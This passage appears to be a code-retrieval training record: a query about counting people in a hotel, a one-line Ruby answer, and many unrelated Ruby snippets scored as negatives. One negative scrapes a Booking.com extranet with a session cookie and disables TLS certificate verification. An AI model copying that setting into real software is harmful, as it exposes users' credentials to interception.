Nightly Rate: #{room.cost}\"\n end \n end", "def get_users\n\t\t\t@users = User.all.where(:on_beverage_list => true).order('firstname, lastname')\n\t\tend", "def find_registered_guests(id)\r\n @reg_guests = []\r\n @reg_guests << User.find(@event.user_id).username\r\n PrivateInvite.find_all_by_private_event_id(@event.id).each do |g|\r\n if User.find_by_email(g.email)\r\n @reg_guests << User.find_by_email(g.email).username\r\n end\r\n end\r\n @reg_guests \r\n end", "def index\n case current_type\n when 'owner'\n @rooms = owner_rooms\n when 'access'\n @rooms = access_rooms\n else\n @rooms = public_rooms\n end\n end", "def get_rooms(allocations)\n checked_rooms = []\n checked = 0\n @coordinator_rooms.each do |room|\n checked = 0\n allocations.each do |allocation|\n if allocation.room_id == room.id\n checked = 1\n break\n end\n end\n checked_rooms << room if checked.zero?\n end\n checked_rooms\n end", "def allergens\n Allergen.all.select do |allergen|\n allergen.user == self\n end.map do |ele|\n ele.allergy_name\n end\n end", "def get_roomID_list(username, token, cookie)\n \n # Use the cookie from login process to create Mechanize::CookieJar\n auth_token = cookie.sub(/.*=([0-9]*);(.*)/) { $1 }\n cookie_jar = Mechanize::Cookie.new(\"auth_token\", auth_token)\n cookie_jar.domain = \"admin.booking.com\"\n cookie_jar.path = \"/\"\n \n # Create the Mechanize agent\n agent = Mechanize.new\n agent.verify_mode = OpenSSL::SSL::VERIFY_NONE\n agent.cookie_jar.add(cookie_jar)\n \n \n # Grab the list of all rooms ID\n roomID_list = Array.new\n properties_url = \"https://admin.booking.com/hotel/hoteladmin/extranet_ng/manage/rooms.html?lang=en&ses=#{token}&hotel_id=#{username}\"\n agent.get(properties_url).search(\"div#room_summaries\").css(\"a.edit-room.btn-default.btn\").each do |link|\n roomID_list << link[\"data-room-id\"]\n end\n \n puts \"We found #{roomID_list.length} rooms ID in your account.\"\n puts \"---------------------------------------------------------------------\"\n \n return roomID_list\n \n end", "def getAllOnlineUsers\n return false if !@usrData\n @usrData[login]\n end", "def to_json\n @users.map { |item|\n item[:user].to_hash.merge({ :rooms => item[:connections].map { |conn|\n conn.room.identifier\n } })\n }.to_json\n end", "def index\n @reservation_rooms = ReservationRoom.all\n end", "def allergens\n Allergen.all.select do |allergy|\n allergy.user == self \n end \n end", "def each_room\n get_attribute(:rooms).each_pair\n end", "def rooms_by_key\n @rooms_by_key ||= begin\n by_key = {}\n\n rooms.each do |room|\n if by_key.key?(room.key)\n raise \"Unexpected duplicate room #{room.key}: #{room.inspect}\"\n end\n\n by_key[room.key] = room\n end\n\n by_key\n end\n end", "def unreserved_rooms_by_date(start_date, end_date)\n dates = date_range(start_date, end_date)\n dates << Date.parse(end_date)\n unreserved_rooms = []\n @rooms.each do |room|\n if is_available?(room, dates) && is_not_blocked?(room, dates)\n unreserved_rooms << room\n end\n end\n return unreserved_rooms\n end", "def index\n @chatroom_users = ChatroomUser.all\n end", "def search_rooms\n end", "def index\n @reservation2_rooms = Reservation2Room.all\n end", "def index\n ota_rooms = Array.new\n if params[:room].nil? && params[:ota].nil?\n # 自分の施設情報だけを返す\n\n current_user.ota.select do |otum|\n otum.provider == 'default'\n end.each do |otum|\n ota_rooms.concat(otum.ota_rooms)\n end\n elsif params[:ota].nil?\n room = Room.find_by(id: params[:room].to_i)\n # 部屋IDが存在しない場合\n if room.nil?\n response = {\n status: 'NotFound',\n message: 'room not found'\n }\n return render json: response, status: 404\n end\n # 権限がない場合\n if current_user.id != room.user.id\n response = {\n status: 'NotFound',\n message: 'room not found'\n }\n return render json: response, status: 404\n end\n ota_rooms.concat(room.ota_rooms)\n elsif params[:room].nil?\n otum = Otum.find_by(id: params[:ota].to_i)\n # OTA IDが存在しない場合\n if otum.nil?\n response = {\n status: 'NotFound',\n message: 'ota not found'\n }\n return render json: response, status: 404\n end\n # 権限がない場合\n if current_user.id != otum.user.id\n response = {\n status: 'NotFound',\n message: 'ota not found'\n }\n return render json: response, status: 404\n end\n ota_rooms.concat(otum.ota_rooms)\n else\n # facility=[facility_id]\n facility = Facility.find_by(id: params[:facility].to_i)\n # 施設IDが存在しない場合\n if facility.nil?\n response = {\n status: 'NotFound',\n message: 'ota_rooms not found'\n }\n return render json: response, status: 404\n end\n # ユーザーの施設IDでない場合\n if facility.user_id != current_user.id\n response = {\n status: 'NotFound',\n message: 'ota_rooms not found'\n }\n return render json: response, status: 404\n end\n ota_rooms.concat(facility.ota_rooms)\n end\n\n render json: {\n status: 'Success',\n message: '',\n ota_rooms: ota_rooms.as_json(except: [\n :created_at,\n :updated_at\n ])\n }, status: 200\n end", "def users\n recipe_rc = RecipeCard.all.select {|rc| rc.recipe == self}\n # recipe_rc.map {|rc| rc.user}\n end", "def allergens\n #Loop through Allergy\n #Find allergies for that user\n #Return ingredients that user is allergic to \n user_allergies = Allergy.all.select do |allergy|\n allergy.user == self\n end\n user_allergies.map do |allergy|\n allergy.ingredient\n end\n end", "def users\n recipes.map {|recipe| recipe.user}\n end" ]
[ "0.7864", "0.7080872", "0.7049938", "0.7011431", "0.6878699", "0.6860403", "0.6707236", "0.66398877", "0.661424", "0.65959454", "0.6512391", "0.6502784", "0.6447893", "0.64208484", "0.64175427", "0.64134425", "0.6411824", "0.6397663", "0.6381197", "0.635584", "0.6349109", "0.6343515", "0.6307757", "0.628648", "0.6281264", "0.62791467", "0.627795", "0.62250507", "0.6221397", "0.62076026", "0.6204839", "0.6190614", "0.61397094", "0.6135687", "0.6131932", "0.6108636", "0.6104339", "0.6086593", "0.6081177", "0.6074902", "0.6063648", "0.60220295", "0.59808743", "0.596607", "0.5964476", "0.59529114", "0.59503067", "0.594118", "0.592947", "0.592764", "0.5926154", "0.59112257", "0.5906923", "0.58997136", "0.5888583", "0.5879604", "0.5878632", "0.58782315", "0.58740264", "0.58690304", "0.5863703", "0.5855328", "0.58531237", "0.58416677", "0.58388656", "0.58330077", "0.5824354", "0.58219653", "0.5819156", "0.58077234", "0.5800867", "0.5790526", "0.5783956", "0.5772489", "0.5766525", "0.57643014", "0.5757337", "0.57509345", "0.57505834", "0.57351947", "0.5734187", "0.57337624", "0.5730058", "0.5723818", "0.5719249", "0.5718758", "0.5718669", "0.57173455", "0.5713088", "0.5709447", "0.5706504", "0.5686605", "0.5684239", "0.5683763", "0.56834716", "0.5680065", "0.5678591", "0.5669451", "0.5669397", "0.5659523" ]
0.79857415
0
Returns the number of people inside the hotel
def number_of_people users.length end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def total_guests_in_rooms()\n guests_in_bar = 0\n for room in @rooms\n guests_in_bar += room.guests_in_room()\n end\n return guests_in_bar\n end", "def guest_count\n return @guests.count\n end", "def check_in_count()\n return @guests.length #guests array length\n end", "def passenger_count()\n return @passengers.size()\n end", "def count_addresses\n self.people.collect { |a| a.address }.count\n end", "def total_visit\n pet_histories.count\n end", "def amount_of_people_alive_in(year)\n amount = 0\n\n each { |person| amount += 1 if person.alive_in?(year) }\n\n amount\n end", "def cult_population\n followers_list.size\n end", "def guests_count\n return @guests_count\n end", "def the_number_of_members\n user_school_relations.count\n end", "def food_count()\nreturn @stomach.count()\nend", "def cult_population\n BloodOath.all.find_all do |oath|\n oath.cult == self\n end.size\n end", "def num_neighbors\r\n @neighbors.count\r\n end", "def owner_pet_count(owner)\n return owner[:pets].length()\nend", "def number_of_passengers\n @passengers.length\n end", "def current_occupancy\n self.dinosaurs.size\n end", "def head_count1\n return @room1_guests.count()\n end", "def customer_pet_count(customer_hash)\n return customer_hash[:pets].length\nend", "def how_many_on_bus\n return @passengers.length\n end", "def joinees_count\n self.joinees.count\n end", "def visitors_count\n self.visitors.count\n end", "def number_of_restaurants_in (city_name)\n\t\t@@memory[city_name][:count] || nil\n\tend", "def rooms_count user_id\n count = self.rooms.where(\"user_id = ?\", user_id).count\n free_los = free_los(nil, user_id).count\n count + (free_los / Room::NUMBER_LOS_IN_ROOM.to_f).ceil\n end", "def num_attendees\n # store a integer that represents the number\n # whenever an attendee is created ->\n # Event.all ( search for the event, incremement number of attendees)\n number_of_attendees = Location.all.select do |location|\n location.event == self\n end.length\n end", "def number_of_members()\n return members().count\n end", "def river_count\n return @fishes.count\nend", "def count_people(query={})\n self.simple_client.get(\"/api/v1/people/count?#{query.to_query}\")[\"count\"]\n end", "def number_of_owners\n (additional_owners || []).length + 1\n end", "def count_contestants_by_hometown(data, hometown)\n home_town = 0\n data.each do |season_iteration, stats|\n stats.each do |town|\n if town[\"hometown\"] == hometown\n home_town = home_town + 1\n end\n end\n end\n return home_town\nend", "def num_gears\n num = 0\n group_instances.each { |g| num += g.gears.count}\n num\n end", "def number_of_venues_held_at(login=nil)\n count_by_frbr(login, :is_held_at, :how_many_roles?) \n end", "def num_doctors\n doctors.count\n end", "def head_count\n clients.map(&:headOfHousehold?).count(true)\n end", "def cult_population\n BloodOath.all.select { |oath| self == oath.cult }.count\n end", "def count_contestants_by_hometown(data, hometown)\n counter = 0\n data.each do |season, person| \n person.each do |person_data|\n if person_data[\"hometown\"] == hometown\n counter += 1\n end \n end\n end\n counter\nend", "def developers_count\n person_ids = []\n person_ids += solutions.pluck(:person_id)\n person_ids += bounty_claims.pluck(:person_id)\n person_ids += developer_goals.pluck(:person_id)\n\n person_ids.uniq.length\n end", "def count\n merchants.count\n end", "def num_of_visits\n self.visits.size\n end", "def living_neighbors(cell)\n count = 0\n cell.neighborhood.each { |k, v|\n count += 1 if @community[v].state == true\n }\n count\n end", "def living_neighbors(cell)\n count = 0\n cell.neighborhood.each { |k, v|\n count += 1 if @community[v].state == true\n }\n count\n end", "def num_uniques\n visitors.count\n end", "def num_uniques\n visitors.count\n end", "def num_uniques\n visitors.count\n end", "def count_reservations\n reservations.count\n end", "def number_of_venues_presented_at(login=nil)\n count_by_frbr(login, :is_presented_by, :how_many_roles?) \n end", "def traversal_9\n num_occurances = 0\n Perpetuity[Address].all.to_a.each do |address|\n num_occurances += 1 if address.city.downcase.split('').first == address.city.downcase.split('').last\n end\n return num_occurances\nend", "def count_contestants_by_hometown(data, hometown)\n counter = 0\n data.each do |season_hash, info|\n info.each do |detail|\n if detail[\"hometown\"] == hometown\n counter += 1 \n end\n end\n end\n return counter\nend", "def total_crowd\n attendees.length\n end", "def apartment_count\n apartments.length\n end", "def total_employee\n self.employees.count()\n end", "def cult_population\n by_cult.count\n end", "def door_count; end", "def compute_occupied_places\n application_letters.where(status: true).count\n end", "def number_of_bettors\n if defined? @recent_goal.bets.count\n @recent_goal.bets.count\n else\n 0\n end \n end", "def count_population(country)\n population = 0\n for country in country\n population += country[:population]\n end\n return population\nend", "def cult_population\n BloodOath.all.select{|bo| bo.cult == self}.length\n end", "def badges_count\n badges.count\n end", "def customer_pet_count(customer)\n customer[:pets].length()\nend", "def total_visits\n\t\tself.visitors.length\n\tend", "def trip_count()\n self.trips().length()\n end", "def customer_pet_count(customer_hash)\n return customer_hash[:pets].count\nend", "def pet_count\n pets.count\n end", "def total_votes\n num_of_votes = self.votes.count\n return num_of_votes\n end", "def customer_pet_count(customer)\n return customer[:pets].length\nend", "def customer_pet_count(customer)\n return customer[:pets].length\nend", "def party_size\n @actors.size + 3\n end", "def number_of_tickets_bought() # working in terminal - console (eg.: customer1.number_of_tickets_bought)\n return films.count\n end", "def count_stuff\n @members.each do |member|\n if member.active\n @active += 1\n if member.paymentstatus && member.membershipyear.to_i == Time.now.year.to_i\n @paidthisyear += 1\n end\n\n if !member.membergroup.onetimefee || member.membershipyear.to_i == Time.now.year.to_i\n @total += member.membergroup.fee\n end\n\n if @membergroups[member.membergroup.name.to_sym]\n @membergroups[member.membergroup.name.to_sym] = @membergroups[member.membergroup.name.to_sym] + 1\n else\n @membergroups[member.membergroup.name.to_sym] = 1\n end\n\n if @municipalities[member.municipality.to_sym]\n @municipalities[member.municipality.to_sym] = @municipalities[member.municipality.to_sym] + 1\n else\n @municipalities[member.municipality.to_sym] = 1\n end\n\n else\n @deleted += 1\n end\n\n end\n @municipalities = @municipalities.sort_by { |key, value| value }.reverse\n end", "def customer_pet_count(supplied_customer)\n return supplied_customer[:pets].length\nend", "def orangeCount\n return @oranges\n end", "def num_allies\n @allies.size\n end", "def number_of_votes\n self.votes.size\n end", "def member_count\n return @member_count\n end", "def live_neighbor_count(cell, live_cells)\n (neighborhood(cell) & live_cells).count\nend", "def count\n size = 0\n core_search.group(\"name.id, #{main_group_by_columns}\").each do |_x|\n size += 1\n end\n size\n end", "def count_tickets\n tickets = self.tickets\n total_tickets = tickets.count\n return total_tickets\n end", "def roster_size\n return @roster_size if defined? @roster_size\n @roster_size = census_employees.active.size\n end", "def number_of_pets\n @pets.keys.count\n end", "def number_of_councils\n payer_breakdown && payer_breakdown.select{ |p| p[:organisation_type] == 'Council' }.size\n end", "def team_count\n @teams.length\n end", "def team_count\n @teams.length\n end", "def mine_count\n locations_within_proximity.having_mines.count\n end", "def total_count\n object.nodes.size\n end", "def count_population_of_uk(collection_of_countries)\n total_population = 0\n for country in collection_of_countries\n total_population += country[:population]\n end\n return total_population\nend", "def total_pets\n pets.count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def count\n @ole.Count\n end", "def animal_count\n @inventory.length\n end", "def numEnts\n num = 1\n num += @lfn_ents.size if @lfn_ents\n return num\n end", "def num_of_tickets()\n result = films()\n @number_of_tickets = result.count\n end", "def owners_count\n return @owners_count\n end", "def grocery_total(entirelist)\n\tp \"the total number of groceries is #{entirelist.length + 1}\" #using built in method length\n\t\nend", "def stock_count(petshop)\n return petshop[:pets].size()\n end", "def cult_population\n # First, get all of the followers that belong to this cult, then count how many there are\n self.followers.count\n end" ]
[ "0.6798899", "0.6787638", "0.6757495", "0.67293143", "0.66701454", "0.66249317", "0.6619746", "0.6609006", "0.66055214", "0.66024345", "0.6484868", "0.6467623", "0.6467442", "0.64547175", "0.6448798", "0.643226", "0.6425737", "0.6401865", "0.6401058", "0.63738364", "0.6348555", "0.6336576", "0.6329884", "0.63211894", "0.63180184", "0.6306313", "0.6306127", "0.6279067", "0.6264546", "0.62631583", "0.6260428", "0.6258597", "0.6253247", "0.6249973", "0.6215922", "0.62086356", "0.62019324", "0.6200612", "0.61948913", "0.61948913", "0.61937875", "0.61937875", "0.61937875", "0.6192679", "0.6180522", "0.61727875", "0.6169858", "0.61651", "0.61558115", "0.61537415", "0.6153339", "0.61463445", "0.6142088", "0.61312", "0.6114002", "0.6105979", "0.609692", "0.6096617", "0.6090096", "0.6064113", "0.6061924", "0.6047305", "0.6030142", "0.6028318", "0.6028318", "0.6024011", "0.6023449", "0.60181236", "0.601282", "0.60126764", "0.6011358", "0.60039645", "0.6001356", "0.60001045", "0.59977806", "0.59860003", "0.5984794", "0.59797347", "0.5978327", "0.5976905", "0.5976905", "0.5974357", "0.5973027", "0.5968329", "0.5966607", "0.5962899", "0.5962899", "0.5962899", "0.5962899", "0.5962899", "0.5962899", "0.5962899", "0.5962899", "0.5962861", "0.5961511", "0.5954658", "0.5951455", "0.59514165", "0.5948586", "0.59424645" ]
0.6813858
0
Use callbacks to share common setup or constraints between actions.
def set_area_price @area_price = AreaPrice.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Only allow a trusted parameter "white list" through.
def area_price_params params.require(:area_price).permit(:price) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def allowed_params\n ALLOWED_PARAMS\n end", "def expected_permitted_parameter_names; end", "def param_whitelist\n [:role, :title]\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def permitted_params\n []\n end", "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def filtered_parameters; end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def parameters_list_params\n params.require(:parameters_list).permit(:name, :description, :is_user_specific)\n end", "def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end", "def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n [:rating, :review]\n end", "def valid_params?; end", "def permitted_params\n declared(params, include_missing: false)\n end", "def permitted_params\n declared(params, include_missing: false)\n end", "def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend", "def filter_parameters; end", "def filter_parameters; end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def check_params; true; end", "def valid_params_request?; end", "def strong_params\n params.require(:experience).permit(param_whitelist)\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def list_params\n params.permit(:name)\n end", "def check_params\n true\n end", "def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end", "def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end", "def additional_permitted_params\n []\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def resource_params\n params[resource_singular_name].try(:permit, self.class.param_whitelist)\n end", "def allow_params_authentication!; end", "def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n 